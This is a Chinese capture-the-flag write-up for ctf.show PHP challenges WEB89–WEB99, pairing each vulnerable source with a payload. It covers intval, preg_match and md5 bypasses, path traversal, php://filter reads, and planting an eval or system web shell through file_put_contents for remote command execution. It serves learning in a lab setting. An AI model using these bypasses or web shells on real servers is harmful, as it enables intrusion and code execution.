WEB89
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: [email protected]
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
|
知识点:
intval() 函数用于获取变量的整数值。intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
payload:
1
| https://416503b4-7991-4199-8ad0-ac925fae2d37.challenge.ctf.show/?num[]=1
|
这里是数组绕过 preg_match,intval 这两个函数, preg_match 是在字符串中查询的 遇到数组会false 而intval是将字符串变为整型 遇到数组会返回1 (也就是true)
WEB90
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
|
当你使用 intval($_GET[’num’], 0) 时,PHP 将对字符串 4476# 进行整数转换,PHP 的 intval 函数会从字符串的开始部分提取有效数值,直到遇到非数字字符就停止了,所以当你传入4476的时候,只要在其后面加入特殊符号的url编码值即可绕过 示例:?num=4476%23 ?num=4476%09 等等
这里我使用的4476.1,因为这个函数会把变量截断成整数,但是前面是强等于,所以可以使用这个。也可以使用科学计数法等绕过,例如4476e1等等
附上一个结果表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 10000000000
echo intval('1e10'); // 10000000000
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
|
WEB91
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com
*/
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
|
payload:
1
| https://c84c2759-252c-4054-a660-3e9eb008861c.challenge.ctf.show/?cmd=%0Aphp
|
第一个正则表达式使用了多行模式(m),但是第二个没有,也就是只能读取第一行的内容,塞一个%0A(换行)就可以了
WEB92
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
|
payload:
1
| https://7c687645-6793-4d20-ab0f-2d5c73dfac3b.challenge.ctf.show/?num=4476.1
|
和之前一样,不过这次不能传数组了,另外也可用科学计数法例如4476e123等。
WEB93
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
|
payload:
1
| https://4b54cc99-f5a8-410c-8769-9f363d53fe84.challenge.ctf.show/?num=4476.1
|
同上,这次增加了对字母的过滤,不能用科学计数法了。
官方的解法是
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
WEB94
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
|
这次试了一下,前面的几个payload都不能用了,怎么办呢
简单对比一下发现多了一个strpos
(功能:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。)
这玩意会检测0的位置,如果没有0时候会返回false,但是如果0在第一个位置会返回一个0(false),取反后为1,即true。所以这里我们不能让0在第一个位置或者不存在,可以使用?num=4476.0绕过,也可以在原来的payload前面加个空格也可以。
WEB95
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
|
payload:
1
| https://713cbc8d-5dc7-4fab-9390-fb8398456921.challenge.ctf.show/?num=%20010574
|
同上一道题,不过这里把.给过滤了,所以不能用xxxx.x这种了,改用之前的8进制前面加空格/换行符等等即可
官方wp说这里加一些符号(比如+)也可以
WEB96
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
|
payload:
1
| https://f2dd7e6-2d47-4204-9ad8-8030acb1e13b.challenge.ctf.show/?u=../html/flag.php
|
先穿越一个路径再回来就行了,这里也可以使用./flag.php这种
还有些师傅用的这个:
1
| ?u=php://filter/read=convert.base64-encode/resource=flag.php
|
WEB96
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
|
这里我们得找两个md5相等的东西?
小知识:
PHP 中 md5() 这个函数的参数必须是 string,如果传个数组会:Warning: md5() expects parameter 1 to be string, array given
这里如果传进去数组,会返回NULL并报错,两边都传入数组,都返回NULL就相等了。
WEB98
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
payload:
1
2
| https://f07c626b-ca6c-4be3-bd93-85f3d794aa6f.challenge.ctf.show/?flag=flag
POST: HTTP_FLAG=flag
|
第一行只要get非空,get和post就等效了,第二个和第三个语句可以不触发,如果触发了就是别的东西变成GET了,随便传个参数,然后直接post一个HTTP_FLAG=flag即可
如果需要用完整的链:
1
2
3
4
5
| GET:?a=1 → 触发第 1 行:$_GET =& $_POST
POST:flag=flag → 触发第 2 行:$_GET =& $_COOKIE
Cookie:flag=flag → 触发第 3 行:$_GET =& $_SERVER
请求头加:Flag: flag → $_SERVER['HTTP_FLAG'] = 'flag'
最后一行用 $_GET['HTTP_FLAG'],其实就是 $_SERVER['HTTP_FLAG'] → 条件成立,读 flag
|
WEB99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
|
tip:file_put_contents($file, $data);
这一道题乍看起来一头雾水,其实很简单,就是考一个类似任意文件上传的东西
payload
1
2
| https://683086c5-872d-4d2e-9265-f758882dfbe8.challenge.ctf.show/?n=2.php
POST: content=<?php @eval($_POST['cmd']); ?>
|
蚁剑直接连就行了,flag在这里:/var/www/html/flag36d.php
AI分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
| 1. 代码做了什么?
先把当前源码高亮输出(方便你看题)。
然后构造一个数组 $allow:
循环 $i = 36 到 $i = 0x36d = 877(不含 877),一共 841 次;
每次往 $allow 里 push 一个 rand(1, $i) 的随机整数。
最后判断:
如果 $_GET['n'] 存在,并且 in_array($_GET['n'], $allow) 为真,
就执行:file_put_contents($_GET['n'], $_POST['content']); —— 把你 POST 上来的内容写入一个文件,文件名就是 $_GET['n']。
核心问题:
怎么让 in_array($_GET['n'], $allow) 为真,并把恶意 PHP 写到一个可执行的文件里?
2. $allow 里到底有什么?(顺便算个概率)
循环:
for ($i=36; $i < 877; $i++) {
array_push($allow, rand(1,$i));
}
第一次:i = 36,取 rand(1, 36)
第二次:i = 37,取 rand(1, 37)
…
最后一次:i = 876,取 rand(1, 876)
所以 $allow 是长度 841 的数组,里面是很多 1 ~ 876 的随机整数(可以重复)。
我们关心某个数字 k 出现在 $allow 里的概率。
某个数字 k 没被选中的概率
只有当循环中 i >= k 时,才可能抽到 k。
对每个这样的 i,当前这一次没抽到 k 的概率是:
1 - 1/i = (i-1)/i
所以:
如果 k <= 36:能抽到它的循环是 i = 36...876
如果 k > 36:能抽到它的循环是 i = k...876
记 a = max(36, k),则 “从来没抽到 k” 的概率是:
P(没抽到 k) = ∏_{i=a}^{876} (i-1)/i
= (a-1)/876 ← 这是个望远镜积
于是:
P(抽到 k) = 1 - (a-1)/876
= 1 - (max(36,k)-1)/876
特别地:
当 k <= 36 时:a = 36
P(k 在 allow 中) = 1 - 35/876 = 841/876 ≈ 96%
当 k = 876 时:
P(k 在 allow 中) = 1 - 875/876 = 1/876 ≈ 0.1%(很难中)
结论:小一点的数字(≤36)几乎总会出现在 $allow 里,命中率 ≈96%。
3. in_array() 的大坑:弱类型比较
关键语句:
in_array($_GET['n'], $allow)
没有第三个参数 true,所以是弱类型比较。
$allow 里的元素是 int
$_GET['n'] 是 string
PHP 的弱比较规则是:
当 int == string 时,string 会按 数字 来转:
"1" → 1
"1.php" → 1
"123abc" → 123
"abc" → 0
举个例子:
in_array("1.php", [1, 2, 3]); // true,因为 "1.php" 会变成 1
in_array("123.txt", [123, 456]); // true,因为 "123.txt" -> 123
所以如果 $allow 里包含整数 1,那么:
in_array('1.php', $allow) // 也会是 true
4. 组合起来:可以写任意 PHP 文件(高概率成功)
利用思路
选一个小整数,比如 1(≤36,命中率高)。
访问时传:?n=1.php
在 in_array() 里,'1.php' 会被当成数字 1 去比。
只要 $allow 里正好含有整数 1(概率 ≈96%),in_array() 就为真。
POST 一个你想写入的 PHP 代码:
<?php system($_GET['cmd']); ?>
然后访问 /1.php?cmd=whoami 就能 RCE 了。
|